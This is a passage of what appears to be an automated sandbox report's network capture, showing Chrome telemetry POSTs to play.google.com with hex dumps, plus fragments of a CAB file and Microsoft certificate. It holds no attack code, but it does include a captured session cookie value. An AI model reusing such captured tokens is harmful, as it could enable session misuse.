2024-07-04 18:34:53 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-07-04 18:34:53 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49828	142.250.185.206	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:35:11 UTC	1322	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1161 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=BU-HRgopOXdhPfp9hI6eDc4Ez09zIEg45IW6l9b5oPZE2ydxPXJ7EcI7YDDcjJqCFOAd23INOVkOFTrzQGkzpd9vfKYlxqKxYOfDCDet5r2Ztb3Ts_1Uw-ilgw-ZU3G9K9KO9j-XJF_7tHg-rnEAOlT1LmNEucPtqnbM1opbqFE
2024-07-04 18:35:11 UTC	1161	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 31 38 31 30 39 38 34 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720118109840",null,null,null
2024-07-04 18:35:12 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:35:11 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 18:35:12 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:35:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49827	142.250.185.206	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:35:11 UTC	1299	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1037 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=BU-HRgopOXdhPfp9hI6eDc4Ez09zIEg45IW6l9b5oPZE2ydxPXJ7EcI7YDDcjJqCFOAd23INOVkOFTrzQGkzpd9vfKYlxqKxYOfDCDet5r2Ztb3Ts_1Uw-ilgw-ZU3G9K9KO9j-XJF_7tHg-rnEAOlT1LmNEucPtqnbM1opbqFE
2024-07-04 18:35:11 UTC	1037	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 62 6f 71 5f 69 64 65 6e 74 69 74 79 66 72 6f 6e 74 65 6e 64 61 75 74 68 75 69 73 65 72 76 65 72 5f 32 30 32 34 30 36 32 33 2e 30 37 5f 70 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"boq_identityfrontendauthuiserver_20240623.07_p0",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0
2024-07-04 18:35:11 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:35:11 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 18:35:11 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:35:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49829	142.250.185.206	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:35:12 UTC	1322	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1328 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=BU-HRgopOXdhPfp9hI6eDc4Ez09zIEg45IW6l9b5oPZE2ydxPXJ7EcI7YDDcjJqCFOAd23INOVkOFTrzQGkzpd9vfKYlxqKxYOfDCDet5r2Ztb3Ts_1Uw-ilgw-ZU3G9K9KO9j-XJF_7tHg-rnEAOlT1LmNEucPtqnbM1opbqFE
2024-07-04 18:35:12 UTC	1328	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 31 38 31 31 30 32 39 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720118110291",null,null,null
2024-07-04 18:35:12 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:35:12 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 18:35:12 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:35:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49957	142.250.186.174	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:36:44 UTC	1322	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1410 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=BU-HRgopOXdhPfp9hI6eDc4Ez09zIEg45IW6l9b5oPZE2ydxPXJ7EcI7YDDcjJqCFOAd23INOVkOFTrzQGkzpd9vfKYlxqKxYOfDCDet5r2Ztb3Ts_1Uw-ilgw-ZU3G9K9KO9j-XJF_7tHg-rnEAOlT1LmNEucPtqnbM1opbqFE
2024-07-04 18:36:44 UTC	1410	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 31 38 32 30 32 32 36 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720118202265",null,null,null
2024-07-04 18:36:44 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:36:44 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 18:36:44 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:36:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49959	142.250.186.174	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:36:45 UTC	1322	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1461 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=BU-HRgopOXdhPfp9hI6eDc4Ez09zIEg45IW6l9b5oPZE2ydxPXJ7EcI7YDDcjJqCFOAd23INOVkOFTrzQGkzpd9vfKYlxqKxYOfDCDet5r2Ztb3Ts_1Uw-ilgw-ZU3G9K9KO9j-XJF_7tHg-rnEAOlT1LmNEucPtqnbM1opbqFE
2024-07-04 18:36:45 UTC	1461	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 31 38 32 30 32 39 34 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720118202941",null,null,null
2024-07-04 18:36:45 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 18:36:45 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 18:36:45 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 18:36:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	58868	142.250.186.174	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:37:15 UTC	1322	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1333 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: 